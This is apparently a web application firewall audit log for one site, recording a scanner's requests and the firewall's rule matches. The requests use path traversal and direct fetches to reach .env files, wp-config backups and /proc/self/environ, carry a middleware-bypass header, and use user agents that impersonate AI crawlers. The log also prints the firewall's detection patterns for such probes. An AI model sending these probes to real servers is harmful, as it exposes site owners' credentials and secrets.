Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZ0pkwu1RSkptiiNIX5wwAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734815817 91339 (- - -)
Stopwatch2: 1789293734815817 91339; combined=4232, p1=207, p2=3972, p3=0, p4=0, p5=53, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f433bf16-Z--
--8c553c28-A--
[13/Sep/2026:13:02:14.925290 +0300] aqZ0pisVWymXUono-eRVdgAAAAI 34.80.249.255 55016 127.0.0.1 7081
--8c553c28-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8c553c28-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8c553c28-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZ0pisVWymXUono-eRVdgAAAAI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734819371 105991 (- - -)
Stopwatch2: 1789293734819371 105991; combined=5122, p1=307, p2=4736, p3=0, p4=0, p5=78, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8c553c28-Z--
--0fd0ee6f-A--
[13/Sep/2026:13:02:14.967030 +0300] aqZ0pisVWymXUono-eRVdwAAAAs 34.80.249.255 55040 127.0.0.1 7081
--0fd0ee6f-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0fd0ee6f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0fd0ee6f-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZ0pisVWymXUono-eRVdwAAAAs"]
Action: Intercepted (phase 2)
Stopwatch: 1789293734960961 6142 (- - -)
Stopwatch2: 1789293734960961 6142; combined=4805, p1=239, p2=4253, p3=0, p4=0, p5=313, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0fd0ee6f-Z--
--b4221901-A--
[13/Sep/2026:13:02:15.018988 +0300] aqZ0pmM7dE9KgIIOpQh3bgAAAMU 34.80.249.255 55028 127.0.0.1 7081
--b4221901-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b4221901-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b4221901-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZ0pmM7dE9KgIIOpQh3bgAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734946079 72979 (- - -)
Stopwatch2: 1789293734946079 72979; combined=5203, p1=264, p2=4878, p3=0, p4=0, p5=61, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b4221901-Z--
--6a04b44f-A--
[13/Sep/2026:13:02:15.412155 +0300] aqZ0p2M7dE9KgIIOpQh3cAAAAME 34.80.249.255 55060 127.0.0.1 7081
--6a04b44f-B--
GET /wp-config.php.old HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6a04b44f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6a04b44f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cAAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cAAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cAAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735224032 188177 (- - -)
Stopwatch2: 1789293735224032 188177; combined=36972, p1=254, p2=36651, p3=0, p4=0, p5=66, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6a04b44f-Z--
--0dd37c6a-A--
[13/Sep/2026:13:02:15.434222 +0300] aqZ0p2M7dE9KgIIOpQh3cQAAAM8 34.80.249.255 55086 127.0.0.1 7081
--0dd37c6a-B--
GET /laravel/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0dd37c6a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0dd37c6a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/laravel/.env"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735309105 125191 (- - -)
Stopwatch2: 1789293735309105 125191; combined=4551, p1=246, p2=4241, p3=0, p4=0, p5=64, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0dd37c6a-Z--
--a3bdc36e-A--
[13/Sep/2026:13:02:15.435208 +0300] aqZ0pysVWymXUono-eRVeAAAABU 34.80.249.255 55080 127.0.0.1 7081
--a3bdc36e-B--
GET /wp-config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a3bdc36e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a3bdc36e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ0pysVWymXUono-eRVeAAAABU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ0pysVWymXUono-eRVeAAAABU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ0pysVWymXUono-eRVeAAAABU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735268663 166601 (- - -)
Stopwatch2: 1789293735268663 166601; combined=38652, p1=234, p2=38352, p3=0, p4=0, p5=65, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a3bdc36e-Z--
--f2038b1e-A--
[13/Sep/2026:13:02:15.536869 +0300] aqZ0p0wu1RSkptiiNIX5xAAAAIk 34.80.249.255 55092 127.0.0.1 7081
--f2038b1e-B--
GET /config/.env.php HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f2038b1e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f2038b1e-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqZ0p0wu1RSkptiiNIX5xAAAAIk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqZ0p0wu1RSkptiiNIX5xAAAAIk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735437813 99131 (- - -)
Stopwatch2: 1789293735437813 99131; combined=45181, p1=237, p2=30254, p3=0, p4=0, p5=7374, sr=91, sw=0, l=0, gc=7316
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f2038b1e-Z--
--6c6a5b2c-A--
[13/Sep/2026:13:02:15.641049 +0300] aqZ0p2M7dE9KgIIOpQh3cgAAAMI 34.80.249.255 51548 127.0.0.1 7081
--6c6a5b2c-B--
GET /.env.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6c6a5b2c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c6a5b2c-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqZ0p2M7dE9KgIIOpQh3cgAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293735548896 92228 (- - -)
Stopwatch2: 1789293735548896 92228; combined=32279, p1=241, p2=31968, p3=0, p4=0, p5=70, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c6a5b2c-Z--
--6c10cb4b-A--
[13/Sep/2026:13:02:15.789933 +0300] aqZ0pysVWymXUono-eRVegAAABI 34.80.249.255 51554 127.0.0.1 7081
--6c10cb4b-B--
GET /core/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6c10cb4b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c10cb4b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/core/.env"] [unique_id "aqZ0pysVWymXUono-eRVegAAABI"]
